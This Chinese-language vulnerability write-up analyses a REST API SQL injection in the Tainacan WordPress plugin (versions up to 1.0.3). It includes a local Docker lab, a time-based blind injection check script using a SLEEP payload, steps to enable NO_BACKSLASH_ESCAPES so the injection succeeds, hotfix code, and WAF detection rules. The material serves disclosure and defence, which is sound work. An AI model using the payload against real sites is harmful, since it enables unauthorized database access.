关键词:Tainacan、WordPress 插件安全、REST API、SQL 注入、盲注、WP_Query、current_query、esc_sql、NO_BACKSLASH_ESCAPES
影响版本:Tainacan <= 1.0.3
修复版本:Tainacan >= 1.1.0
漏洞类型:SQL Injection / Blind SQL Injection
风险等级:高危 / 严重,具体取决于站点配置、数据库模式和接口暴露面
0. 免责声明
本文仅用于安全研究、代码审计学习和本地授权靶场复现。文中脚本默认限制在localhost / 127.0.0.1环境运行,请勿对未授权站点进行扫描、验证或攻击。
1. 文章导读
CVE-2026-42740 是 WordPress 插件 Tainacan 中的一个 REST API SQL 注入问题。该问题表面上看是某个参数校验不足导致的注入,但从代码审计角度追踪后可以发现,真正值得关注的是一条更深层的数据流风险:
HTTP 请求参数 ↓ WordPress REST API 路由参数处理 ↓ Tainacan current_query 透传 ↓ WP_Query 生成原始 SQL ↓ $wp_query->request 被再次嵌入新的 SQL 子查询也就是说,风险不只在于某个参数能否被注入,而在于插件把动态生成的 SQL 字符串当成可信数据,再拼接到新的查询里。这种设计一旦遇到未注册参数、过滤缺失、特殊数据库模式或旧版本 WordPress 行为差异,就可能成为新的 SQL 注入触发点。
本文重点包括:
- 搭建 Tainacan 1.0.3 本地靶场;
- 从 REST API 入口追踪到 SQL Sink;
- 分析
current_query未注册参数绕过; - 解释为什么默认环境下
esc_sql()会成为最后防线; - 模拟
NO_BACKSLASH_ESCAPES条件下的时间盲注; - 给出本地检测脚本、热修复代码和长期修复建议。
2. 环境搭建
本地复现环境如下:
| 组件 | 版本 | 说明 |
|---|---|---|
| WordPress | 6.2 + PHP 8.1 | 基础 CMS 环境 |
| MySQL | 5.7 | 默认 UTF-8,默认不启用NO_BACKSLASH_ESCAPES |
| Tainacan | 1.0.3 | 漏洞版本 |
| 靶机地址 | http://localhost:9982 | 宿主机直接访问 |
| 测试数据 | 公开 Collection + 自定义 Metadata | 模拟前台公开检索场景 |
2.1 docker-compose.yml
version: "3.8" services: db: image: mysql:5.7 container_name: tainacan-db restart: unless-stopped environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: wordpress MYSQL_USER: wp MYSQL_PASSWORD: wppass command: - --character-set-server=utf8mb4 - --collation-server=utf8mb4_unicode_ci ports: - "3307:3306" wordpress: image: wordpress:6.2-apache container_name: tainacan-wp restart: unless-stopped depends_on: - db environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wp WORDPRESS_DB_PASSWORD: wppass WORDPRESS_DB_NAME: wordpress ports: - "9982:80" volumes: - ./wp-data:/var/www/html启动环境:
docker compose up -d访问:
http://localhost:9982完成 WordPress 初始化后安装 Tainacan 1.0.3:
docker exec -it tainacan-wp bash apt-get update && apt-get install -y unzip curl less curl -L -o /tmp/tainacan-1.0.3.zip \ https://downloads.wordpress.org/plugin/tainacan.1.0.3.zip unzip /tmp/tainacan-1.0.3.zip -d /var/www/html/wp-content/plugins/ chown -R www-data:www-data /var/www/html/wp-content/plugins/tainacan进入 WordPress 后台启用插件:
Plugins -> Tainacan -> Activate建议在后台创建:
1 个公开 Collection 1 个自定义 Metadata 若干测试 Item假设本地测试中:
Collection ID = 4 Metadata ID = 8实际复现时请按自己的环境调整。
3. 漏洞定位
3.1 数据流全景
从攻击者输入到 SQL 执行,大致可以抽象为四个阶段:
Stage 1:REST API 入口 GET /wp-json/tainacan/... Stage 2:current_query 参数进入 get_items() $request['current_query'] Stage 3:prepare_filters() 转换为 WP_Query 参数 status / metakey / meta_value / orderby ... Stage 4:WP_Query 原始 SQL 被嵌入新的子查询 $wp_query->request问题的关键不只是某个参数是否被转义,而是:
$wp_query->request本身是一个已经生成好的 SQL 字符串,如果将其继续拼入新的 SQL 语句,就等于把“SQL 代码”当作“普通数据”再次传递。
这是一种典型的架构反模式。
3.2 新旧版本 Diff 观察
对比 Tainacan 1.0.3 与 1.1.0 后,可以看到修复重点主要落在status参数校验上。也就是说,官方修复堵住了已知利用路径,但从架构层看,仍要关注两个问题:
1. current_query 是否完整注册和约束? 2. 是否还存在把 $wp_query->request 作为子查询继续拼接的逻辑?如果只是对status增加白名单,而没有对整个current_query做结构化 Schema 约束,那么未来只要出现其他可影响 SQL 的子参数,同一入口仍可能成为风险点。
4. 根因分析
4.1 current_query 为什么能绕过校验
WordPress REST API 的参数校验依赖路由注册时的 args/schema。
正常情况下,开发者应该这样注册参数:
register_rest_route('tainacan/v2', '/example', [ 'methods' => 'GET', 'callback' => [$this, 'get_items'], 'args' => [ 'status' => [ 'type' => 'array', 'required' => false, 'sanitize_callback' => 'rest_sanitize_array', 'validate_callback' => function ($value) { $allowed = ['publish', 'private']; foreach ((array) $value as $v) { if (!in_array($v, $allowed, true)) { return false; } } return true; }, ], ], ]);但如果current_query没有在 REST Route Schema 中声明,WordPress REST API 不会对其子参数执行强校验。攻击者可以直接构造:
current_query[status][] current_query[metakey] current_query[meta_value] current_query[orderby]这些参数会作为额外数据进入回调逻辑。
这就是典型的“内部参数被外部化”问题:
开发者以为 current_query 只会由前端正常组件传入; 实际上攻击者可以直接构造 HTTP 请求传入。4.2 status 参数为什么是最直观入口
在审计过程中,current_query[status]是最容易被注意到的入口。其原因是它通常会被映射到WP_Query的post_status条件中。
伪代码如下:
$current_query = $request['current_query']; $query_args = []; if (!empty($current_query['status'])) { $query_args['post_status'] = $current_query['status']; } $wp_query = new WP_Query($query_args);如果status没有白名单,攻击者就可能传入:
publish' OR SLEEP(5)-- -理论上,这类 Payload 的目标是闭合 SQL 字符串,然后插入时间延迟函数。
4.3 为什么默认环境下不一定能直接打通
在默认 WordPress + MySQL 配置下,WP_Query内部通常会对部分参数进行转义处理,例如对字符串中的单引号加反斜杠:
publish' OR SLEEP(5)-- -被处理后会接近:
publish\' OR SLEEP(5)-- -在 MySQL 默认模式下,反斜杠可以转义单引号,所以该 Payload 仍被包在字符串字面量中,不会成功逃逸。
因此,默认环境中可能看到这种现象:
请求返回 HTTP 200 响应时间没有明显延迟 MySQL 日志中能看到 Payload 痕迹 但 SLEEP 没有真正执行这说明 Payload 已经到达 SQL 构造链路,但被最后一层转义阻断。
4.4 绕过条件
该漏洞在以下条件下风险会显著上升:
| 条件 | 风险 | 原因 |
MySQL 启用NO_BACKSLASH_ESCAPES | 高 | 反斜杠不再转义单引号,字符串可能被闭合 |
| 使用 GBK/GB2312 等宽字节场景 | 高 | 可能触发经典宽字节绕过 |
| WordPress 旧版本或参数处理差异 | 中高 | 某些参数路径可能没有完整转义 |
| current_query 其他子参数存在未转义 Sink | 中高 | 例如 meta_key、orderby、meta_value 等 |
插件继续拼接$wp_query->request | 高 | 原始 SQL 被当作可信子查询复用 |
5. 本地复现
5.1 REST 路由枚举脚本
不同 Tainacan 版本、站点配置下 REST 路由可能略有差异,建议先枚举本地路由。
保存为:
find_tainacan_routes.py代码如下:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 仅用于本地授权靶场: 枚举 WordPress REST API 中与 Tainacan / facet 相关的路由。 """ import sys import requests from urllib.parse import urljoin, urlparse def assert_local(base_url: str) -> None: host = urlparse(base_url).hostname if host not in {"localhost", "127.0.0.1", "::1"}: raise SystemExit( "[!] 安全限制:该脚本仅允许用于 localhost / 127.0.0.1 本地靶场。" ) def main(): if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} http://localhost:9982") sys.exit(1) base = sys.argv[1].rstrip("/") assert_local(base) api_url = urljoin(base + "/", "wp-json/") resp = requests.get(api_url, timeout=10) resp.raise_for_status() data = resp.json() routes = data.get("routes", {}) print("[+] Tainacan related routes:") for route in routes.keys(): low = route.lower() if "tainacan" in low and ("facet" in low or "collection" in low): print(" ", route) if __name__ == "__main__": main()运行:
python find_tainacan_routes.py http://localhost:9982输出示例:
[+] Tainacan related routes: /tainacan/v2/collection/(?P<collection_id>[\d]+)/facets /tainacan/v2/collection/(?P<collection_id>[\d]+)/facets/(?P<metadatum_id>[\d]+)如果路由不同,请以后续脚本中的--route参数为准。
5.2 基线请求测试
以本地测试环境为例,假设接口为:
/wp-json/tainacan/v2/collection/4/facets/8基线请求:
curl -i "http://localhost:9982/wp-json/tainacan/v2/collection/4/facets/8?current_query[status][]=publish"预期结果:
HTTP/1.1 200 OK Content-Type: application/json耗时通常小于 200ms,说明端点正常可访问。
5.3 本地时间盲注验证脚本
保存为:
tainacan_local_check.py代码如下:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-42740 本地授权靶场验证脚本 功能: 1. 仅允许 localhost / 127.0.0.1; 2. 对比正常请求与时间延迟 Payload 请求; 3. 不读取、不导出数据库敏感数据; 4. 用响应耗时判断本地实验条件下是否触发延迟。 使用示例: python tainacan_local_check.py \ --base http://localhost:9982 \ --route /wp-json/tainacan/v2/collection/4/facets/8 \ --delay 5 """ import argparse import statistics import time from urllib.parse import urljoin, urlparse import requests LOCAL_HOSTS = {"localhost", "127.0.0.1", "::1"} def assert_local(base_url: str) -> None: host = urlparse(base_url).hostname if host not in LOCAL_HOSTS: raise SystemExit("[!] 安全限制:脚本仅允许用于本地授权靶场。") def send_get(url: str, params, timeout: int) -> float: start = time.perf_counter() resp = requests.get(url, params=params, timeout=timeout) elapsed = time.perf_counter() - start print(f" HTTP {resp.status_code}, elapsed={elapsed:.3f}s") return elapsed def avg_request(url: str, params, rounds: int, timeout: int) -> float: costs = [] for i in range(rounds): print(f" round {i + 1}/{rounds}") costs.append(send_get(url, params=params, timeout=timeout)) return statistics.mean(costs) def main(): parser = argparse.ArgumentParser() parser.add_argument("--base", required=True, help="例如 http://localhost:9982") parser.add_argument("--route", required=True, help="例如 /wp-json/tainacan/v2/collection/4/facets/8") parser.add_argument("--delay", type=int, default=5, help="SLEEP 延迟秒数,默认 5") parser.add_argument("--rounds", type=int, default=2, help="每组请求次数,默认 2") args = parser.parse_args() base = args.base.rstrip("/") route = args.route.lstrip("/") assert_local(base) url = urljoin(base + "/", route) timeout = args.delay + 8 print("[+] Target:", url) baseline_params = [ ("current_query[status][]", "publish"), ] # 仅用于本地靶场验证,不包含数据读取逻辑 delay_payload = f"publish' OR SLEEP({args.delay})-- -" delay_params = [ ("current_query[status][]", delay_payload), ] print("\n[+] Baseline request") base_avg = avg_request(url, baseline_params, args.rounds, timeout) print("\n[+] Delay payload request") delay_avg = avg_request(url, delay_params, args.rounds, timeout) diff = delay_avg - base_avg print("\n[+] Result") print(f" baseline_avg = {base_avg:.3f}s") print(f" payload_avg = {delay_avg:.3f}s") print(f" diff = {diff:.3f}s") if diff >= args.delay * 0.7: print("[!] 可能触发时间延迟:当前本地环境满足利用条件,请立即升级或修复。") else: print("[*] 未观察到明显延迟:默认配置下可能被转义逻辑阻断。") print("[*] 仍建议升级到 Tainacan >= 1.1.0,并检查 current_query 参数处理。") if __name__ == "__main__": main()运行:
python tainacan_local_check.py \ --base http://localhost:9982 \ --route /wp-json/tainacan/v2/collection/4/facets/8 \ --delay 5默认 MySQL 配置下,常见结果如下:
[+] Baseline request HTTP 200, elapsed=0.143s [+] Delay payload request HTTP 200, elapsed=0.171s [+] Result baseline_avg = 0.148s payload_avg = 0.176s diff = 0.028s [*] 未观察到明显延迟:默认配置下可能被转义逻辑阻断。这说明:
1. 参数可以进入接口; 2. Payload 有机会进入 SQL 构造链路; 3. 但默认 SQL Mode 下没有成功逃逸字符串; 4. esc_sql / WP_Query 内部转义成为最后防线。5.4 开启 NO_BACKSLASH_ESCAPES 后的条件验证
进入数据库容器:
docker exec -it tainacan-db mysql -uroot -prootpass查看当前 SQL Mode:
SELECT @@GLOBAL.sql_mode; SELECT @@SESSION.sql_mode;临时设置:
SET GLOBAL sql_mode = 'NO_BACKSLASH_ESCAPES';重新进入 WordPress 容器或重启服务,让连接重新建立:
docker restart tainacan-wp再次执行:
python tainacan_local_check.py \ --base http://localhost:9982 \ --route /wp-json/tainacan/v2/collection/4/facets/8 \ --delay 5如果环境满足触发条件,可能看到:
[+] Baseline request HTTP 200, elapsed=0.152s [+] Delay payload request HTTP 200, elapsed=5.218s [+] Result baseline_avg = 0.154s payload_avg = 5.201s diff = 5.047s [!] 可能触发时间延迟:当前本地环境满足利用条件,请立即升级或修复。这说明在NO_BACKSLASH_ESCAPES模式下,反斜杠不再作为字符串转义字符,原本依赖反斜杠保护的单引号可能成功闭合 SQL 字符串,时间盲注得以执行。
实验完成后建议恢复默认 SQL Mode:
SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION';6. 日志验证
为了确认 Payload 是否进入 SQL 构造链路,可以开启 MySQL General Log。
进入数据库容器:
docker exec -it tainacan-db mysql -uroot -prootpass执行:
SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';发送测试请求后查询日志:
SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%current_query%' OR argument LIKE '%SLEEP%' OR argument LIKE '%publish%' ORDER BY event_time DESC LIMIT 10;也可以查询最近的 SELECT:
SELECT event_time, argument FROM mysql.general_log WHERE command_type = 'Query' AND argument LIKE 'SELECT%' ORDER BY event_time DESC LIMIT 20;如果能看到包含测试 Payload 的 SQL 片段,说明参数已到达 SQL 查询构造链路。
需要注意的是:
日志中出现 Payload ≠ 注入成功 响应时间明显延迟 / 数据库函数执行成功 = 更强的利用证据7. 影响与危害
在满足利用条件的环境中,攻击者可能造成以下影响:
7.1 直接危害
1. 未授权访问风险 如果公开 Collection 的 REST API 对未登录用户开放,攻击者无需后台账号即可访问接口。 2. 数据库信息泄露 时间盲注可被用于逐字符推断数据库内容,包括 wp_users、wp_options 等敏感表。 3. 低日志噪声 攻击请求通常表现为普通 GET 请求,不一定触发 PHP 报错。7.2 间接危害
1. 获取密码哈希后离线爆破; 2. 获取站点配置后进一步攻击后台; 3. 对博物馆、档案馆、文化机构等 Tainacan 使用场景造成数据泄露风险; 4. 如果存在多个同构站点,漏洞可能形成供应链式放大影响。8. 修复建议
8.1 官方修复
优先升级:
wp plugin update tainacan确认版本:
wp plugin list --name=tainacan --field=version推荐版本:
Tainacan >= 1.1.08.2 临时热修复:status 白名单
如果短期无法升级,可以先对status做白名单校验。
示例代码:
function tainacan_safe_status($status) { $allowed = ['publish', 'private']; $status = (array) $status; $safe = array_values(array_filter($status, function ($item) use ($allowed) { return is_string($item) && in_array($item, $allowed, true); })); if (empty($safe)) { return ['publish']; } return $safe; }在构造WP_Query前使用:
if (!empty($current_query['status'])) { $query_args['post_status'] = tainacan_safe_status($current_query['status']); }8.3 更完整的 current_query 参数约束
只修status还不够,建议对整个current_query建立白名单。
示例:
function tainacan_sanitize_current_query($value) { if (!is_array($value)) { return []; } $allowed_keys = [ 'status', 'search', 'paged', 'perpage', 'orderby', 'order', ]; $clean = []; foreach ($value as $key => $item) { if (!in_array($key, $allowed_keys, true)) { continue; } switch ($key) { case 'status': $clean['status'] = tainacan_safe_status($item); break; case 'paged': case 'perpage': $clean[$key] = max(1, absint($item)); break; case 'order': $order = strtoupper((string) $item); $clean['order'] = in_array($order, ['ASC', 'DESC'], true) ? $order : 'ASC'; break; case 'orderby': $allowed_orderby = ['date', 'title', 'modified', 'menu_order']; $orderby = sanitize_key($item); $clean['orderby'] = in_array($orderby, $allowed_orderby, true) ? $orderby : 'date'; break; case 'search': $clean['search'] = sanitize_text_field($item); break; } } return $clean; }REST Route 注册时加入:
'args' => [ 'current_query' => [ 'required' => false, 'type' => 'object', 'sanitize_callback' => 'tainacan_sanitize_current_query', 'validate_callback' => function ($value) { return is_array($value); }, ], ]8.4 架构层修复:不要复用 $wp_query->request
不推荐写法:
$items_query = $wp_query->request; $items_query_clause = "($items_query) AS qItems"; $query = " SELECT meta_value FROM {$wpdb->postmeta} INNER JOIN $items_query_clause ON qItems.ID = {$wpdb->postmeta}.post_id "; $results = $wpdb->get_col($query);问题在于:
$items_query 是 SQL 字符串,不是数据。 一旦前面的 WP_Query 被污染,后续拼接会扩大风险。推荐改成先取 ID,再使用$wpdb->prepare()构造参数化查询:
$item_ids = $wp_query->posts; if (empty($item_ids)) { return []; } $item_ids = array_map('absint', $item_ids); $placeholders = implode(',', array_fill(0, count($item_ids), '%d')); $sql = $wpdb->prepare( " SELECT DISTINCT meta_value FROM {$wpdb->postmeta} WHERE post_id IN ($placeholders) AND meta_key = %s ", array_merge($item_ids, [$meta_key]) ); $results = $wpdb->get_col($sql);如果 WordPress 版本支持,也可以优先让WP_Query只返回 ID:
$query_args['fields'] = 'ids'; $wp_query = new WP_Query($query_args); $item_ids = $wp_query->posts;这样可以避免把完整 SQL 字符串再次嵌套进新 SQL。
9. WAF 临时缓解规则
以下规则仅作为临时防护,不能替代升级。
ModSecurity 示例:
SecRule ARGS_NAMES "@rx ^current_query" \ "id:10001,phase:2,deny,status:403,msg:'Tainacan current_query suspicious parameter'" SecRule ARGS "@rx (?i)(sleep\s*\(|benchmark\s*\(|extractvalue\s*\(|updatexml\s*\(|union\s+select|information_schema)" \ "id:10002,phase:2,deny,status:403,msg:'Possible SQL Injection Attempt Against Tainacan'"Nginx 简单拦截示例:
if ($query_string ~* "current_query.*(sleep\(|benchmark\(|extractvalue\(|updatexml\(|union%20select|information_schema)") { return 403; }注意:
WAF 只能降低攻击成功率,不能修复代码缺陷。10. 安全检测命令
10.1 检测 Tainacan 版本
wp plugin list --name=tainacan --field=version如果输出:
1.0.3说明处于受影响版本,应立即升级。
10.2 检查插件代码中 current_query 使用点
grep -R "current_query" wp-content/plugins/tainacan/classes/api/ -n重点关注:
1. current_query 是否在路由 args 中注册; 2. 是否存在 $request['current_query'] 直接读取; 3. 是否存在未经过白名单的 WP_Query 参数映射。10.3 检查 MySQL SQL Mode
mysql -e "SELECT @@GLOBAL.sql_mode, @@SESSION.sql_mode;"风险特征:
NO_BACKSLASH_ESCAPES如果启用了该模式,应重点检查所有依赖反斜杠转义的历史代码。
11. 总结
CVE-2026-42740 表面上是 Tainacan REST API 参数导致的 SQL 注入问题,但从代码审计角度看,它至少包含四层安全失误:
第一层:REST API 参数未完整注册 current_query 没有受到 WordPress REST API Schema 的强约束。 第二层:回调函数信任调用方输入 get_items() 等逻辑默认相信 current_query 是前端正常组件生成的内部参数。 第三层:安全链路依赖 WP_Query 内部转义 默认配置下 esc_sql 可能阻止直接利用,但它不应该成为唯一防线。 第四层:原始 SQL 被当作数据继续拼接 $wp_query->request 被嵌入新的 SQL 子查询,形成架构级反模式。这类漏洞给插件开发者的启示非常明确:
1. 所有 REST API 参数必须注册 Schema; 2. 所有进入 WP_Query 的参数必须做白名单; 3. 不要依赖 esc_sql 作为唯一安全边界; 4. 不要把动态 SQL 字符串作为可信数据继续拼接; 5. 优先使用 $wpdb->prepare() 和结构化参数传递。最后用一句话概括:
SQL 注入的根源往往不是某个单引号,而是开发者在某一层把“代码”误当成了“数据”。只要 SQL 字符串被再次拼接,参数化边界就已经被破坏了。